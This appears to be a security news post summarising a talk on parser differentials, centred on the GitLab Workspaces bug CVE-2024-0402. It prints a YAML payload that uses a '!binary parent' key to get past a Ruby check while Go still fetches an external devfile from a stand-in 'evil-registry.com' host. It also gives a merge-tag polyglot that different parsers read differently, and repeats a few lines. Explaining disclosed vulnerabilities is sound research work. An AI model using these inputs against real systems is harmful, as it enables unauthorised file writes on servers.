10th place in PortSwigger's Top List: Parser Differentials — How Parser Discrepancies Turn into Vulnerabilities
⚔️ Attack Techniques & Methods2026-03-04, 09:09
A talk by Yann Schneeberger from GitLab Security Research.
The idea is simple: two components of an application parse the same input (JSON, JWT, YAML) differently. An attacker crafts input that appears safe to one component but malicious to another.
The idea is simple: two components of an application parse the same input (JSON, JWT, YAML) differently. An attacker crafts input that appears safe to one component but malicious to another.
The talk covers three cases; let's look at the third one — the analysis of CVE-2024-0402 in GitLab Workspaces, as it's the most intriguing.
GitLab Workspaces are configured through a YAML configuration file (a devfile). It can include a parent key, which implies inheritance from an external source. The parent-loading mechanism was vulnerable to arbitrary file writes via path traversal. However, the Ruby code explicitly blocked this key:
return err("...not supported") if devfile['parent']
Important context: GitLab is written in Ruby, but the devfile is processed by a Go binary. Ruby parses the YAML first and checks whether the forbidden parent key is present. If everything looks clean, it passes the same YAML to the Go binary, which then downloads resources and deploys the configuration.
The bypass relied on a difference in how Ruby and Go handle the YAML tags !!binary and !binary. In Ruby, !binary decodes the string from Base64 into a binary key. In Go, the tag is simply ignored, and the key remains unchanged:
schemaVersion: 2.2.0
!binary parent:
uri: https://evil-registry.com/...
Ruby sees the key as "\xA5\xAA\xDE\x9E" (the Base64-decoded form of parent) → the check for parent doesn't trigger.
Go sees the key as parent → downloads the external devfile → path traversal → writes files to the server.
Go sees the key as parent → downloads the external devfile → path traversal → writes files to the server.
Bonus: one YAML file — six languages. After the talk, researcher Taram Pam created a YAML file that produces different values in Ruby, Rust, Node, Go, Java, and Python — all through !!binary. DarkForge Labs went further and achieved a similar result for four parsers without !!binary — using merge tags instead:
<<: {?"lang": Go,
!!merge : {lang: NodeJS}}
dfl: &morge "<<"
morge : {lang: RUBY}
!!merge : {lang: PYTHON}
Vulnerabilities
Researchers
Vendors
Products
More
Published
2026-03-04, 09:09